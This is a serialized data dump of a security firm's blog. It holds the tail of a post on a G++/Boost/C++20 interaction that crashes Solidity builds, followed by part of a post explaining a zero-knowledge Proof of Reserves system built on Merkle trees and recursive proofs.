",{"type":23,"tag":75,"props":102323,"children":102324},{"style":82},[102325],{"type":29,"value":2869},{"type":23,"tag":75,"props":102327,"children":102328},{"style":209},[102329],{"type":29,"value":601},{"type":23,"tag":75,"props":102331,"children":102332},{"style":94},[102333],{"type":29,"value":102334}," length ",{"type":23,"tag":75,"props":102336,"children":102337},{"style":209},[102338],{"type":29,"value":212},{"type":23,"tag":75,"props":102340,"children":102341},{"style":110},[102342],{"type":29,"value":102343}," _typeName",{"type":23,"tag":75,"props":102345,"children":102346},{"style":94},[102347],{"type":29,"value":557},{"type":23,"tag":75,"props":102349,"children":102350},{"style":88},[102351],{"type":29,"value":19762},{"type":23,"tag":75,"props":102353,"children":102354},{"style":94},[102355],{"type":29,"value":102356},"()) {\n",{"type":23,"tag":75,"props":102358,"children":102359},{"class":77,"line":100},[102360,102365,102369,102373,102377],{"type":23,"tag":75,"props":102361,"children":102362},{"style":94},[102363],{"type":29,"value":102364},"    std::optional",{"type":23,"tag":75,"props":102366,"children":102367},{"style":209},[102368],{"type":29,"value":295},{"type":23,"tag":75,"props":102370,"children":102371},{"style":94},[102372],{"type":29,"value":101442},{"type":23,"tag":75,"props":102374,"children":102375},{"style":209},[102376],{"type":29,"value":4652},{"type":23,"tag":75,"props":102378,"children":102379},{"style":94},[102380],{"type":29,"value":102381}," lengthValue;\n",{"type":23,"tag":75,"props":102383,"children":102384},{"class":77,"line":121},[102385],{"type":23,"tag":75,"props":102386,"children":102387},{"emptyLinePlaceholder":15},[102388],{"type":29,"value":276},{"type":23,"tag":75,"props":102390,"children":102391},{"class":77,"line":138},[102392,102396,102400,102404,102408,102412,102416,102420,102424,102429,102433,102437,102441,102445,102449,102454,102458,102462],{"type":23,"tag":75,"props":102393,"children":102394},{"style":175},[102395],{"type":29,"value":1363},{"type":23,"tag":75,"props":102397,"children":102398},{"style":94},[102399],{"type":29,"value":183},{"type":23,"tag":75,"props":102401,"children":102402},{"style":110},[102403],{"type":29,"value":19762},{"type":23,"tag":75,"props":102405,"children":102406},{"style":94},[102407],{"type":29,"value":1156},{"type":23,"tag":75,"props":102409,"children":102410},{"style":88},[102411],{"type":29,"value":41359},{"type":23,"tag":75,"props":102413,"children":102414},{"style":94},[102415],{"type":29,"value":8653},{"type":23,"tag":75,"props":102417,"children":102418},{"style":110},[102419],{"type":29,"value":386},{"type":23,"tag":75,"props":102421,"children":102422},{"style":209},[102423],{"type":29,"value":7889},{"type":23,"tag":75,"props":102425,"children":102426},{"style":110},[102427],{"type":29,"value":102428}," length",{"type":23,"tag":75,"props":102430,"children":102431},{"style":94},[102432],{"type":29,"value":1156},{"type":23,"tag":75,"props":102434,"children":102435},{"style":88},[102436],{"type":29,"value":41359},{"type":23,"tag":75,"props":102438,"children":102439},{"style":94},[102440],{"type":29,"value":8653},{"type":23,"tag":75,"props":102442,"children":102443},{"style":110},[102444],{"type":29,"value":386},{"type":23,"tag":75,"props":102446,"children":102447},{"style":94},[102448],{"type":29,"value":1156},{"type":23,"tag":75,"props":102450,"children":102451},{"style":88},[102452],{"type":29,"value":102453},"category",{"type":23,"tag":75,"props":102455,"children":102456},{"style":94},[102457],{"type":29,"value":2464},{"type":23,"tag":75,"props":102459,"children":102460},{"style":209},[102461],{"type":29,"value":2469},{"type":23,"tag":75,"props":102463,"children":102464},{"style":94},[102465],{"type":29,"value":102466}," Type::Category::RationalNumber)\n",{"type":23,"tag":75,"props":102468,"children":102469},{"class":77,"line":161},[102470],{"type":23,"tag":75,"props":102471,"children":102472},{"style":94},[102473],{"type":29,"value":6209},{"type":23,"tag":75,"props":102475,"children":102476},{"class":77,"line":196},[102477,102482,102486,102491,102495,102500,102504,102509,102513,102518,102522],{"type":23,"tag":75,"props":102478,"children":102479},{"style":175},[102480],{"type":29,"value":102481},"    else",{"type":23,"tag":75,"props":102483,"children":102484},{"style":175},[102485],{"type":29,"value":7386},{"type":23,"tag":75,"props":102487,"children":102488},{"style":94},[102489],{"type":29,"value":102490}," (std::optional",{"type":23,"tag":75,"props":102492,"children":102493},{"style":209},[102494],{"type":29,"value":295},{"type":23,"tag":75,"props":102496,"children":102497},{"style":94},[102498],{"type":29,"value":102499},"ConstantEvaluator::TypedRational",{"type":23,"tag":75,"props":102501,"children":102502},{"style":209},[102503],{"type":29,"value":4652},{"type":23,"tag":75,"props":102505,"children":102506},{"style":94},[102507],{"type":29,"value":102508}," value ",{"type":23,"tag":75,"props":102510,"children":102511},{"style":209},[102512],{"type":29,"value":212},{"type":23,"tag":75,"props":102514,"children":102515},{"style":94},[102516],{"type":29,"value":102517}," ConstantEvaluator::",{"type":23,"tag":75,"props":102519,"children":102520},{"style":88},[102521],{"type":29,"value":49196},{"type":23,"tag":75,"props":102523,"children":102524},{"style":94},[102525],{"type":29,"value":102526},"(...))\n",{"type":23,"tag":75,"props":102528,"children":102529},{"class":77,"line":220},[102530,102535,102539,102543,102547,102551],{"type":23,"tag":75,"props":102531,"children":102532},{"style":94},[102533],{"type":29,"value":102534},"        lengthValue ",{"type":23,"tag":75,"props":102536,"children":102537},{"style":209},[102538],{"type":29,"value":212},{"type":23,"tag":75,"props":102540,"children":102541},{"style":110},[102542],{"type":29,"value":43704},{"type":23,"tag":75,"props":102544,"children":102545},{"style":94},[102546],{"type":29,"value":1156},{"type":23,"tag":75,"props":102548,"children":102549},{"style":110},[102550],{"type":29,"value":1672},{"type":23,"tag":75,"props":102552,"children":102553},{"style":94},[102554],{"type":29,"value":245},{"type":23,"tag":75,"props":102556,"children":102557},{"class":77,"line":248},[102558],{"type":23,"tag":75,"props":102559,"children":102560},{"emptyLinePlaceholder":15},[102561],{"type":29,"value":276},{"type":23,"tag":75,"props":102563,"children":102564},{"class":77,"line":270},[102565,102569,102573,102577],{"type":23,"tag":75,"props":102566,"children":102567},{"style":175},[102568],{"type":29,"value":1363},{"type":23,"tag":75,"props":102570,"children":102571},{"style":94},[102572],{"type":29,"value":183},{"type":23,"tag":75,"props":102574,"children":102575},{"style":209},[102576],{"type":29,"value":13434},{"type":23,"tag":75,"props":102578,"children":102579},{"style":94},[102580],{"type":29,"value":102581},"lengthValue)\n",{"type":23,"tag":75,"props":102583,"children":102584},{"class":77,"line":279},[102585],{"type":23,"tag":75,"props":102586,"children":102587},{"style":94},[102588],{"type":29,"value":6209},{"type":23,"tag":75,"props":102590,"children":102591},{"class":77,"line":303},[102592,102596,102600,102604,102608,102612,102616,102620,102624],{"type":23,"tag":75,"props":102593,"children":102594},{"style":175},[102595],{"type":29,"value":102481},{"type":23,"tag":75,"props":102597,"children":102598},{"style":175},[102599],{"type":29,"value":7386},{"type":23,"tag":75,"props":102601,"children":102602},{"style":94},[102603],{"type":29,"value":183},{"type":23,"tag":75,"props":102605,"children":102606},{"style":209},[102607],{"type":29,"value":601},{"type":23,"tag":75,"props":102609,"children":102610},{"style":94},[102611],{"type":29,"value":100413},{"type":23,"tag":75,"props":102613,"children":102614},{"style":209},[102615],{"type":29,"value":2469},{"type":23,"tag":75,"props":102617,"children":102618},{"style":237},[102619],{"type":29,"value":240},{"type":23,"tag":75,"props":102621,"children":102622},{"style":94},[102623],{"type":29,"value":1347},{"type":23,"tag":75,"props":102625,"children":102626},{"style":3621},[102627],{"type":29,"value":102628},"  // \u003C-- Infinite recursion happens here\n",{"type":23,"tag":75,"props":102630,"children":102631},{"class":77,"line":322},[102632],{"type":23,"tag":75,"props":102633,"children":102634},{"style":94},[102635],{"type":29,"value":6209},{"type":23,"tag":75,"props":102637,"children":102638},{"class":77,"line":340},[102639],{"type":23,"tag":75,"props":102640,"children":102641},{"style":94},[102642],{"type":29,"value":369},{"type":23,"tag":32,"props":102644,"children":102645},{},[102646],{"type":29,"value":102647},"Under normal circumstances, this expression is benign. But:",{"type":23,"tag":27910,"props":102649,"children":102650},{},[102651,102656,102661],{"type":23,"tag":2801,"props":102652,"children":102653},{},[102654],{"type":29,"value":102655},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":23,"tag":2801,"props":102657,"children":102658},{},[102659],{"type":29,"value":102660},"C++20 reverses the arguments",{"type":23,"tag":2801,"props":102662,"children":102663},{},[102664],{"type":29,"value":102665},"The non-member operator recursively calls itself",{"type":23,"tag":32,"props":102667,"children":102668},{},[102669],{"type":29,"value":102670},"💥: segmentation fault.",{"type":23,"tag":30016,"props":102672,"children":102673},{},[],{"type":23,"tag":24,"props":102675,"children":102677},{"id":102676},"part-v-what-environments-are-affected",[102678],{"type":29,"value":102679},"Part V: What Environments are Affected?",{"type":23,"tag":32,"props":102681,"children":102682},{},[102683],{"type":29,"value":102684},"If a system uses any of the following:",{"type":23,"tag":27910,"props":102686,"children":102687},{},[102688,102693,102698],{"type":23,"tag":2801,"props":102689,"children":102690},{},[102691],{"type":29,"value":102692},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":23,"tag":2801,"props":102694,"children":102695},{},[102696],{"type":29,"value":102697},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":23,"tag":2801,"props":102699,"children":102700},{},[102701],{"type":29,"value":102702},"C++20 enabled (default in recent Solidity builds)",{"type":23,"tag":32,"props":102704,"children":102705},{},[102706,102708,102713,102715,102721],{"type":29,"value":102707},"They will encounter this crash ",{"type":23,"tag":16596,"props":102709,"children":102710},{},[102711],{"type":29,"value":102712},"as soon as",{"type":29,"value":102714}," it processes a Solidity source with a length expression like ",{"type":23,"tag":71,"props":102716,"children":102718},{"className":102717},[],[102719],{"type":29,"value":102720},"T[0]",{"type":29,"value":102722}," or anything involving compile-time rational comparisons.",{"type":23,"tag":30016,"props":102724,"children":102725},{},[],{"type":23,"tag":24,"props":102727,"children":102729},{"id":102728},"recommendations",[102730],{"type":29,"value":102731},"Recommendations",{"type":23,"tag":27910,"props":102733,"children":102734},{},[102735,102743],{"type":23,"tag":2801,"props":102736,"children":102737},{},[102738],{"type":23,"tag":16596,"props":102739,"children":102740},{},[102741],{"type":29,"value":102742},"Update Boost to ≥ 1.75",{"type":23,"tag":2801,"props":102744,"children":102745},{},[102746],{"type":23,"tag":16596,"props":102747,"children":102748},{},[102749],{"type":29,"value":102750},"Pin G++ to v14 or later",{"type":23,"tag":30016,"props":102752,"children":102753},{},[],{"type":23,"tag":24,"props":102755,"children":102756},{"id":14115},[102757],{"type":29,"value":14118},{"type":23,"tag":32,"props":102759,"children":102760},{},[102761],{"type":29,"value":102762},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":23,"tag":32,"props":102764,"children":102765},{},[102766,102768,102772],{"type":29,"value":102767},"But it ",{"type":23,"tag":16596,"props":102769,"children":102770},{},[102771],{"type":29,"value":15247},{"type":29,"value":102773}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":23,"tag":32,"props":102775,"children":102776},{},[102777],{"type":29,"value":102778},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":23,"tag":32,"props":102780,"children":102781},{},[102782],{"type":29,"value":102783},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":23,"tag":14130,"props":102785,"children":102786},{},[102787],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":102789},[102790,102791,102796,102799,102800,102801,102802,102803],{"id":100473,"depth":100,"text":100476},{"id":100562,"depth":100,"text":100565,"children":102792},[102793,102794,102795],{"id":100568,"depth":121,"text":100571},{"id":100636,"depth":121,"text":100639},{"id":100727,"depth":121,"text":100730},{"id":101311,"depth":100,"text":101314,"children":102797},[102798],{"id":101317,"depth":121,"text":101320},{"id":101428,"depth":100,"text":101431},{"id":102275,"depth":100,"text":102278},{"id":102676,"depth":100,"text":102679},{"id":102728,"depth":100,"text":102731},{"id":14115,"depth":100,"text":14118},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":102808,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":102809,"description":102810,"date":102811,"author":42396,"image":102812,"isFeatured":15,"onBlogPage":15,"tags":102814,"body":102817,"_type":14157,"_id":107593,"_source":14159,"_file":107594,"_stem":107595,"_extension":14162},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":102813,"width":14,"height":14},"/posts/por/title.png",[102815,102816],"zk","por",{"type":20,"children":102818,"toc":107570},[102819,102825,102837,102849,102854,102886,102900,102906,102918,102923,102928,102965,102970,102976,102981,102988,102993,103019,103024,103030,103050,103064,103072,103077,103082,103090,103103,103109,103191,103197,103202,103215,103220,103227,103251,103259,103264,103270,103275,103723,103736,103742,103747,103755,103773,103781,103794,103802,105463,105468,105475,105481,105486,105493,105509,105516,105524,105531,107042,107047,107054,107060,107065,107092,107097,107116,107122,107130,107148,107197,107205,107224,107246,107252,107265,107270,107277,107282,107345,107350,107357,107377,107383,107388,107394,107399,107443,107448,107456,107462,107467,107509,107514,107522,107527,107535,107539,107544,107557],{"type":23,"tag":24,"props":102820,"children":102822},{"id":102821},"what-is-a-proof-of-reserves",[102823],{"type":29,"value":102824},"What is a Proof of Reserves?",{"type":23,"tag":32,"props":102826,"children":102827},{},[102828,102830,102835],{"type":29,"value":102829},"At its heart, ",{"type":23,"tag":16596,"props":102831,"children":102832},{},[102833],{"type":29,"value":102834},"Proof of Reserves (PoR)",{"type":29,"value":102836}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":23,"tag":32,"props":102838,"children":102839},{},[102840,102842,102847],{"type":29,"value":102841},"Think of it this way: ",{"type":23,"tag":16596,"props":102843,"children":102844},{},[102845],{"type":29,"value":102846},"PoR",{"type":29,"value":102848}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":23,"tag":32,"props":102850,"children":102851},{},[102852],{"type":29,"value":102853},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":23,"tag":32,"props":102855,"children":102856},{},[102857,102859,102866,102868,102875,102877,102884],{"type":29,"value":102858},"We from OtterSec, in partnership with ",{"type":23,"tag":940,"props":102860,"children":102863},{"href":102861,"rel":102862},"https://backpack.exchange/",[944],[102864],{"type":29,"value":102865},"Backpack",{"type":29,"value":102867},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":23,"tag":940,"props":102869,"children":102872},{"href":102870,"rel":102871},"https://github.com/otter-sec/por_v2",[944],[102873],{"type":29,"value":102874},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":29,"value":102876}," was based on ",{"type":23,"tag":940,"props":102878,"children":102881},{"href":102879,"rel":102880},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[944],[102882],{"type":29,"value":102883},"OKX Proof of Reserves algorithm",{"type":29,"value":102885}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":23,"tag":32,"props":102887,"children":102888},{},[102889,102891,102898],{"type":29,"value":102890},"In addition, we also created and open-sourced a ",{"type":23,"tag":940,"props":102892,"children":102895},{"href":102893,"rel":102894},"https://github.com/otter-sec/por_verifier_server",[944],[102896],{"type":29,"value":102897},"PoR verifier server",{"type":29,"value":102899}," that receives the proofs and validates them.",{"type":23,"tag":24,"props":102901,"children":102903},{"id":102902},"why-do-we-use-zk-for-por",[102904],{"type":29,"value":102905},"Why do we use ZK for PoR?",{"type":23,"tag":32,"props":102907,"children":102908},{},[102909,102911,102916],{"type":29,"value":102910},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":23,"tag":16596,"props":102912,"children":102913},{},[102914],{"type":29,"value":102915},"Zero-Knowledge Proofs (ZKPs)",{"type":29,"value":102917}," become game-changers.",{"type":23,"tag":32,"props":102919,"children":102920},{},[102921],{"type":29,"value":102922},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":23,"tag":32,"props":102924,"children":102925},{},[102926],{"type":29,"value":102927},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":23,"tag":2797,"props":102929,"children":102930},{},[102931,102948],{"type":23,"tag":2801,"props":102932,"children":102933},{},[102934,102939,102941,102947],{"type":23,"tag":16596,"props":102935,"children":102936},{},[102937],{"type":29,"value":102938},"Sum proof",{"type":29,"value":102940},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":23,"tag":71,"props":102942,"children":102944},{"className":102943},[],[102945],{"type":29,"value":102946},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":29,"value":31960},{"type":23,"tag":2801,"props":102949,"children":102950},{},[102951,102956,102958,102963],{"type":23,"tag":16596,"props":102952,"children":102953},{},[102954],{"type":29,"value":102955},"Non-negativity",{"type":29,"value":102957},": All users have a ",{"type":23,"tag":16596,"props":102959,"children":102960},{},[102961],{"type":29,"value":102962},"positive",{"type":29,"value":102964}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":23,"tag":32,"props":102966,"children":102967},{},[102968],{"type":29,"value":102969},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":23,"tag":24,"props":102971,"children":102973},{"id":102972},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[102974],{"type":29,"value":102975},"What is a Merkle Tree and how does it help in a PoR?",{"type":23,"tag":32,"props":102977,"children":102978},{},[102979],{"type":29,"value":102980},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":23,"tag":32,"props":102982,"children":102983},{},[102984],{"type":23,"tag":15189,"props":102985,"children":102987},{"alt":61763,"src":102986},"/posts/por/merkle-tree.png",[],{"type":23,"tag":32,"props":102989,"children":102990},{},[102991],{"type":29,"value":102992},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":23,"tag":2797,"props":102994,"children":102995},{},[102996,103009,103014],{"type":23,"tag":2801,"props":102997,"children":102998},{},[102999,103001,103007],{"type":29,"value":103000},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":23,"tag":71,"props":103002,"children":103004},{"className":103003},[],[103005],{"type":29,"value":103006},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":29,"value":103008},");",{"type":23,"tag":2801,"props":103010,"children":103011},{},[103012],{"type":29,"value":103013},"The Merkle tree is made public;",{"type":23,"tag":2801,"props":103015,"children":103016},{},[103017],{"type":29,"value":103018},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":23,"tag":32,"props":103020,"children":103021},{},[103022],{"type":29,"value":103023},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":23,"tag":24,"props":103025,"children":103027},{"id":103026},"ottersec-porv2",[103028],{"type":29,"value":103029},"OtterSec PoRv2",{"type":23,"tag":32,"props":103031,"children":103032},{},[103033,103039,103041,103048],{"type":23,"tag":940,"props":103034,"children":103036},{"href":102870,"rel":103035},[944],[103037],{"type":29,"value":103038},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":29,"value":103040},", which uses the ",{"type":23,"tag":940,"props":103042,"children":103045},{"href":103043,"rel":103044},"https://github.com/0xPolygonZero/plonky2",[944],[103046],{"type":29,"value":103047},"plonky2 ZK algorithm",{"type":29,"value":103049}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":23,"tag":32,"props":103051,"children":103052},{},[103053,103055,103062],{"type":29,"value":103054},"We named it PoRv2 because we already had a version based on ",{"type":23,"tag":940,"props":103056,"children":103059},{"href":103057,"rel":103058},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[944],[103060],{"type":29,"value":103061},"Vitalik's proof of solvency",{"type":29,"value":103063},", which was not optimal.",{"type":23,"tag":32,"props":103065,"children":103066},{},[103067],{"type":23,"tag":16596,"props":103068,"children":103069},{},[103070],{"type":29,"value":103071},"Non-negativity Proof",{"type":23,"tag":32,"props":103073,"children":103074},{},[103075],{"type":29,"value":103076},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":23,"tag":32,"props":103078,"children":103079},{},[103080],{"type":29,"value":103081},"We also check for overflows during summation to prevent tampering in the final result.",{"type":23,"tag":32,"props":103083,"children":103084},{},[103085],{"type":23,"tag":16596,"props":103086,"children":103087},{},[103088],{"type":29,"value":103089},"Sum Proof",{"type":23,"tag":32,"props":103091,"children":103092},{},[103093,103095,103101],{"type":29,"value":103094},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":23,"tag":71,"props":103096,"children":103098},{"className":103097},[],[103099],{"type":29,"value":103100},"BTC final: user1_btc + user2_btc ...",{"type":29,"value":103102},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":23,"tag":923,"props":103104,"children":103106},{"id":103105},"what-are-the-ottersec-porv2-key-points",[103107],{"type":29,"value":103108},"What are the OtterSec PoRv2 key points?",{"type":23,"tag":2797,"props":103110,"children":103111},{},[103112,103122,103140,103150,103181],{"type":23,"tag":2801,"props":103113,"children":103114},{},[103115,103120],{"type":23,"tag":16596,"props":103116,"children":103117},{},[103118],{"type":29,"value":103119},"Transparency",{"type":29,"value":103121},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":23,"tag":2801,"props":103123,"children":103124},{},[103125,103130,103132,103139],{"type":23,"tag":16596,"props":103126,"children":103127},{},[103128],{"type":29,"value":103129},"Time-efficiency",{"type":29,"value":103131},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":23,"tag":940,"props":103133,"children":103136},{"href":103134,"rel":103135},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[944],[103137],{"type":29,"value":103138},"Check our benchmark",{"type":29,"value":557},{"type":23,"tag":2801,"props":103141,"children":103142},{},[103143,103148],{"type":23,"tag":16596,"props":103144,"children":103145},{},[103146],{"type":29,"value":103147},"Memory-efficiency",{"type":29,"value":103149},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":23,"tag":2801,"props":103151,"children":103152},{},[103153,103158,103160,103165,103167,103172,103174,103179],{"type":23,"tag":16596,"props":103154,"children":103155},{},[103156],{"type":29,"value":103157},"Small-proofs",{"type":29,"value":103159},": We were able to reduce the final proof to less than ",{"type":23,"tag":16596,"props":103161,"children":103162},{},[103163],{"type":29,"value":103164},"500KB",{"type":29,"value":103166}," and each inclusion proof to ",{"type":23,"tag":16596,"props":103168,"children":103169},{},[103170],{"type":29,"value":103171},"~52KB",{"type":29,"value":103173},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":23,"tag":16596,"props":103175,"children":103176},{},[103177],{"type":29,"value":103178},"200MB",{"type":29,"value":103180}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":23,"tag":2801,"props":103182,"children":103183},{},[103184,103189],{"type":23,"tag":16596,"props":103185,"children":103186},{},[103187],{"type":29,"value":103188},"Privacy",{"type":29,"value":103190},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":23,"tag":24,"props":103192,"children":103194},{"id":103193},"zk-circuits",[103195],{"type":29,"value":103196},"ZK Circuits",{"type":23,"tag":32,"props":103198,"children":103199},{},[103200],{"type":29,"value":103201},"We use two different ZK circuits to generate the final proof:",{"type":23,"tag":2797,"props":103203,"children":103204},{},[103205,103210],{"type":23,"tag":2801,"props":103206,"children":103207},{},[103208],{"type":29,"value":103209},"Batch circuit",{"type":23,"tag":2801,"props":103211,"children":103212},{},[103213],{"type":29,"value":103214},"Recursive circuit",{"type":23,"tag":32,"props":103216,"children":103217},{},[103218],{"type":29,"value":103219},"With those two circuits, we can generate the proofs recursive tree:",{"type":23,"tag":32,"props":103221,"children":103222},{},[103223],{"type":23,"tag":15189,"props":103224,"children":103226},{"alt":61763,"src":103225},"/posts/por/batch-circuit.png",[],{"type":23,"tag":1829,"props":103228,"children":103229},{},[103230],{"type":23,"tag":32,"props":103231,"children":103232},{},[103233,103235,103241,103243,103249],{"type":29,"value":103234},"Note: We are using 512 as ",{"type":23,"tag":71,"props":103236,"children":103238},{"className":103237},[],[103239],{"type":29,"value":103240},"BATCH_SIZE",{"type":29,"value":103242}," and 8 as ",{"type":23,"tag":71,"props":103244,"children":103246},{"className":103245},[],[103247],{"type":29,"value":103248},"RECURSIVE_SIZE",{"type":29,"value":103250}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":23,"tag":1829,"props":103252,"children":103253},{},[103254],{"type":23,"tag":32,"props":103255,"children":103256},{},[103257],{"type":29,"value":103258},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":23,"tag":32,"props":103260,"children":103261},{},[103262],{"type":29,"value":103263},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":23,"tag":923,"props":103265,"children":103267},{"id":103266},"leaf-nodes",[103268],{"type":29,"value":103269},"Leaf Nodes",{"type":23,"tag":32,"props":103271,"children":103272},{},[103273],{"type":29,"value":103274},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":23,"tag":32,"props":103276,"children":103277},{},[103278],{"type":23,"tag":71,"props":103279,"children":103281},{"className":103280},[15256,15257],[103282],{"type":23,"tag":75,"props":103283,"children":103285},{"className":103284},[15262],[103286],{"type":23,"tag":75,"props":103287,"children":103289},{"className":103288,"ariaHidden":15268},[15267],[103290,103317],{"type":23,"tag":75,"props":103291,"children":103293},{"className":103292},[15273],[103294,103299,103304,103308,103313],{"type":23,"tag":75,"props":103295,"children":103298},{"className":103296,"style":103297},[15278],"height:0.6944em;",[],{"type":23,"tag":75,"props":103300,"children":103302},{"className":103301},[15284,32803],[103303],{"type":29,"value":8730},{"type":23,"tag":75,"props":103305,"children":103307},{"className":103306,"style":15461},[15363],[],{"type":23,"tag":75,"props":103309,"children":103311},{"className":103310},[15466],[103312],{"type":29,"value":212},{"type":23,"tag":75,"props":103314,"children":103316},{"className":103315,"style":15461},[15363],[],{"type":23,"tag":75,"props":103318,"children":103320},{"className":103319},[15273],[103321,103326,103331,103337,103342,103347,103353,103358,103363,103368,103374,103379,103385,103391,103398,103404,103410,103470,103475,103481,103486,103491,103496,103501,103506,103511,103516,103521,103526,103583,103588,103593,103598,103603,103608,103613,103620,103625,103631,103636,103642,103648,103653,103658,103663,103668,103673,103678,103683,103688,103693,103698,103703,103708,103713,103718],{"type":23,"tag":75,"props":103322,"children":103325},{"className":103323,"style":103324},[15278],"height:1.06em;vertical-align:-0.31em;",[],{"type":23,"tag":75,"props":103327,"children":103329},{"className":103328,"style":32804},[15284,32803],[103330],{"type":29,"value":32807},{"type":23,"tag":75,"props":103332,"children":103334},{"className":103333},[15284,32803],[103335],{"type":29,"value":103336},"ose",{"type":23,"tag":75,"props":103338,"children":103340},{"className":103339},[15284,32803],[103341],{"type":29,"value":12935},{"type":23,"tag":75,"props":103343,"children":103345},{"className":103344},[15284,32803],[103346],{"type":29,"value":81736},{"type":23,"tag":75,"props":103348,"children":103350},{"className":103349},[15284,32803],[103351],{"type":29,"value":103352},"o",{"type":23,"tag":75,"props":103354,"children":103356},{"className":103355},[15284,32803],[103357],{"type":29,"value":67587},{"type":23,"tag":75,"props":103359,"children":103361},{"className":103360},[32932],[103362],{"type":29,"value":643},{"type":23,"tag":75,"props":103364,"children":103366},{"className":103365},[15284,32803],[103367],{"type":29,"value":940},{"type":23,"tag":75,"props":103369,"children":103371},{"className":103370},[15284,32803],[103372],{"type":29,"value":103373},"sse",{"type":23,"tag":75,"props":103375,"children":103377},{"className":103376},[15284,32803],[103378],{"type":29,"value":32945},{"type":23,"tag":75,"props":103380,"children":103383},{"className":103381,"style":103382},[15284],"margin-right:0.02778em;",[103384],{"type":29,"value":14370},{"type":23,"tag":75,"props":103386,"children":103388},{"className":103387},[15284,32803],[103389],{"type":29,"value":103390},"ba",{"type":23,"tag":75,"props":103392,"children":103395},{"className":103393,"style":103394},[15284,32803],"margin-right:0.01968em;",[103396],{"type":29,"value":103397},"l",{"type":23,"tag":75,"props":103399,"children":103401},{"clas